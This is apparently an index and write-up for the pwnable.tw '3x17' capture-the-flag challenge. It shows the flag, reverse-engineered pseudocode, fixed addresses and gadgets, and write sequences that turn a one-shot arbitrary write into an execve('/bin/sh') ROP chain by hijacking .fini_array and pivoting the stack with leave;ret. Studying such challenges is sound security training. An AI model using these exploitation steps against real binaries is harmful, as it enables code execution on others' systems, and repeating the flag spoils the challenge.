3x17 — pwnable.tw (150 pts)
← Back to pwnable.tw Challenge Index
nc chall.pwnable.tw 10105Flag:
FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}
Challenge Overview
A statically linked, stripped x86-64 ELF binary (no PIE, no canary, NX enabled). The binary provides a single arbitrary write primitive: it prompts for an address and 24 bytes of data, writes the data to the address, then exits. The challenge is to turn this one-shot write into a shell.
checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)Binary type: Statically linked (no libc.so — all libc functions inlined). No dynamic loader, no GOT/PLT in the usual sense.
Reverse Engineering
main (0x401B6D)
The main function is simple:
// Pseudocode of main @ 0x401B6D
void main() {
char buf[24];
unsigned long addr;
write(1, "addr:", 5);
read(0, buf, 24);
addr = strtoul(buf, NULL, 10); // parse address as decimal
write(1, "data:", 5);
read(0, buf, 24); // read exactly 24 bytes of data
// Guard: only write once (byte at 0x4B9330 is checked)
if (byte_4B9330 != 0) {
return; // exit without writing
}
byte_4B9330 = 1;
memcpy((void *)addr, buf, 24); // arbitrary 24-byte write
}Key details:
- Address is parsed as a decimal (or with
+prefix) string viastrtoul - Data is exactly 24 bytes (3 qwords)
- A one-shot guard at
0x4B9330prevents re-entry — once set to 1, subsequent calls skip the write - The binary then returns through the normal exit path:
main→__libc_start_main→exit()→.fini_arraydestructors
__libc_csu_fini (0x402960)
The destructor-calling routine invoked during exit():
; __libc_csu_fini @ 0x402960
; Calls .fini_array entries in REVERSE order: [1], then [0]
mov rbp, qword [0x4B40F8] ; .fini_array end pointer
...
0x402988: call qword [rbp+rbx*8] ; call .fini_array[i]
; decrements rbx, loops until rbx == -1Critical behavior: When __libc_csu_fini runs:
rbpis set to.fini_arraybase (0x4B40F0)- It calls
.fini_array[1]first, then.fini_array[0] - After calling
.fini_array[0],rbpstill points to0x4B40F0
Vulnerabilities
V1 — Unrestricted Arbitrary Write (Primary)
Root Cause: main writes 24 bytes to any user-supplied address with no bounds checking. The .fini_array section at 0x4B40F0 is writable (Partial RELRO), and the binary is not PIE, so all addresses are known.
memcpy((void *)addr, buf, 24); // write 24 bytes anywhereV2 — .fini_array Loop: One Write → Infinite Writes
Root Cause: The .fini_array is called during exit(). By overwriting it with {__libc_csu_fini, main}, a self-reinforcing loop is created:
exit()→__libc_csu_fini→ calls.fini_array[1]=main→ user gets another writemainreturns →__libc_csu_finicontinues → calls.fini_array[0]=__libc_csu_fini→ loop repeats
The guard byte at 0x4B9330 wraps around after 256 iterations (it's a uint8_t that increments each call), so writes remain possible for 256 rounds.
# Turn one write into infinite writes:
write(0x4B40F0, p64(0x402960) + p64(0x401B6D))
# __libc_csu_fini mainV3 — Stack Pivot via leave; ret
Root Cause: At the end of main (address 0x401C4B), there is a leave; ret instruction. Since rbp points to .fini_array (0x4B40F0) during the destructor calls, executing leave; ret as .fini_array[0] sets rsp = 0x4B40F0 + 8 = 0x4B40F8, pivoting the stack into writable memory where the attacker has placed a ROP chain.
; 0x401C4B:
leave ; rsp = rbp; pop rbp → rsp = 0x4B40F8
ret ; pop rip from 0x4B40F8 → jumps to value at .fini_array[1]Key Addresses
| Address | Symbol | Purpose |
|---|---|---|
0x4B40F0 |
.fini_array[0] |
First destructor (called second) |
0x4B40F8 |
.fini_array[1] |
Second destructor (called first) |
0x402960 |
__libc_csu_fini |
Destructor caller — creates the loop |
0x401B6D |
main |
Arbitrary 24-byte write |
0x401C4B |
leave; ret |
Stack pivot gadget (end of main) |
0x4B9330 |
guard byte | One-shot write guard (wraps at 256) |
ROP Gadgets (Statically Linked — Abundant)
POP_RDI = 0x401696 # pop rdi; ret
POP_RSI = 0x406C30 # pop rsi; ret
POP_RDX = 0x446E35 # pop rdx; ret
POP_RAX = 0x41E4AF # pop rax; ret
SYSCALL = 0x4022B4 # syscall; ret (or 0x471DB5, 0x446ECF — multiple exist)
LEAVE_RET = 0x401C4B # leave; ret
RET = 0x401016 # ret (alignment)Some solvers also use:
POP_RDX_RSI = 0x44A309 # pop rdx; pop rsi; ret (combined gadget)
MOV_QWORD_RSI_RAX = 0x47C1B1 # mov [rsi], rax; ret (for writing /bin/sh)
ADD_RAX_1 = 0x471810 # add rax, 1; ret (for building rax=59 incrementally)
XOR_RAX = 0x442110 # xor rax, rax; retExploit Paths
All solutions follow the same fundamental three-phase approach, differing only in ROP chain construction details.
Path A — .fini_array Loop + Direct ROP at .fini_array+0x10 + leave; ret Pivot (Most Common)
Used by: ~90% of solutions (138, 1316, 1763, 11445, 11699, 12245, 13060, 13484, 15522, 15883, 15989, 16439, 16609, 16991, 17048, 18324, exp.py, etc.)
Steps:
- Create the write loop: First write overwrites
.fini_arraywith{__libc_csu_fini, main}. This gives unlimited 24-byte writes.
write(0x4B40F0, p64(0x402960) + p64(0x401B6D))- Write ROP chain to memory starting at
.fini_array + 0x10(or.bss, or any writable area). The chain performsexecve("/bin/sh", NULL, NULL):
# Typical chain written in 24-byte chunks:
write(0x4B4100, p64(POP_RAX) + p64(59) + p64(POP_RDI))
write(0x4B4118, p64(BINSH) + p64(POP_RSI) + p64(0))
write(0x4B4130, p64(POP_RDX) + p64(0) + p64(SYSCALL))Write
/bin/sh\0to a known writable address (BSS or after the chain).Trigger the pivot: Final write overwrites
.fini_array[0]withleave; ret. Whenmainreturns and__libc_csu_finicalls this as a destructor:leavesetsrsp = rbp + 8 = 0x4B40F8retpops the next value as RIP → begins executing the ROP chain
write(0x4B40F0, p64(0x401C4B)) # leave; retVariant — Chain placement: Some place the ROP at .fini_array + 0x10 (contiguous with the array), others at .bss (0x4B9300+) or .data.rel.ro (0x4B4100). The pivot address just needs to be 0x4B40F8 for the leave; ret to work, so .fini_array[1] must be the first gadget of the chain.
# Final write (common pattern):
write(0x4B40F0, p64(LEAVE_RET) + p64(POP_RDI) + p64(BINSH))
# leave;ret pivots rsp to 0x4B40F8, pops POP_RDI as ripPath B — ROPgadget Auto-Chain with mov [rsi], rax + add rax, 1 (Variant)
Used by: Solutions 11968, 14605, 15989
Instead of using pop rax; ret with immediate 59, these use ROPgadget's auto-generated chain:
- Write
/bin//shto.datausingpop rsi; pop rax; mov [rsi], rax; ret - Build
rax = 59by 59×add rax, 1; retafterxor rax, rax; ret - Much longer chain but avoids needing a direct
pop raxwith value 59
This results in a much longer ROP chain (~60+ gadgets) but works identically.
Path C — Alternative Loop via Overwriting Call Target (Rare)
Used by: Solution 1324
Instead of the standard .fini_array loop, overwrites .init_array and uses the init/fini interaction:
write(INIT_ARRAY, p64(stack_pivot_gadget) + p64(another_gadget))
write(FINI_ARRAY, p64(INIT_CALL) + p64(0x1337)) # trigger init_arraySame end result but via a different code path.
Path D — Canary Leak + Stack Overflow + pop rsp Pivot (Rare)
Used by: Solution 14479
An unusual approach that:
- Uses the write loop to overwrite function pointers to create a read primitive
- Leaks the stack canary from memory
- Writes a ROP chain to BSS
- Overwrites the return address with
pop rsp; ret→ ROP chain address - Sends a large payload with the canary to overflow the stack and pivot
This is significantly more complex than the .fini_array approach.
Path E — __exit_funcs / Custom Call Chain (Rare)
Used by: Solution 1351
Uses deeper glibc internal structures (__exit_funcs at 0x4B9FC0) to hijack the exit handler chain instead of the simpler .fini_array approach. Writes fake function descriptors that redirect through leave; ret to the ROP chain.
Exploit Flow Diagram
One-shot write
│
▼
Overwrite .fini_array = {__libc_csu_fini, main}
│
▼
main returns → exit() → __libc_csu_fini
│ │
│ calls .fini_array[1] = main ◄──── User gets another write
│ │
│ calls .fini_array[0] = __libc_csu_fini ◄──── Loop continues
│
▼ (after writing ROP chain + /bin/sh)
Overwrite .fini_array[0] = leave;ret
│
▼
leave;ret pivots rsp to .fini_array+8
│
▼
ROP chain: execve("/bin/sh", 0, 0) → shellExploit Primitive Summary
| Primitive | Source | Reliability |
|---|---|---|
| Arbitrary 24-byte write | main — no bounds check on address |
Deterministic (100%) |
| Infinite writes | .fini_array loop trick |
Deterministic |
| Stack pivot | leave; ret with rbp = .fini_array |
Deterministic |
| Code execution | ROP → execve syscall |
Deterministic |
Solution Write-ups
| File | Path | Key Variation | Notes |
|---|---|---|---|
138.md |
A | Ruby; chain at .fini_array+0x10 |
Clean minimal approach |
1177.md |
A | Uses mprotect then sends shellcode |
Unique: RWX + shellcode |
1297.md |
A | Chain at 0x4B93E0; pop rsp in final |
Standard with separate chain area |
1316.md |
A | Chain at .fini_array+0x10 |
Uses pop rdx; pop rsi; ret combined |
1324.md |
C | Via .init_array manipulation |
Non-standard loop mechanism |
1351.md |
E | Via __exit_funcs internal struct |
Deep glibc internals |
1763.md |
A | Chain at 0x4B4100 |
Minimal clean solution |
11968.md |
B | ROPgadget auto-chain; 59× add rax,1 |
Very long chain, works correctly |
14334.md |
A | Chain at 0x4B4108; well-documented |
Good comments explaining each step |
14479.md |
D | Canary leak + stack overflow | Complex: leaks canary, uses large payload |
17704.md |
A | Includes decompiled fini() pseudocode |
Explains the v0 loop variable |
Files
| File | Description |
|---|---|
exp.py |
Working exploit script (pure Python, no pwntools) |
desc.txt |
Challenge description |
artifacts/3x17 |
Original challenge binary (static, stripped, x86-64) |
solution/*.md |
Community write-ups (122 solutions) |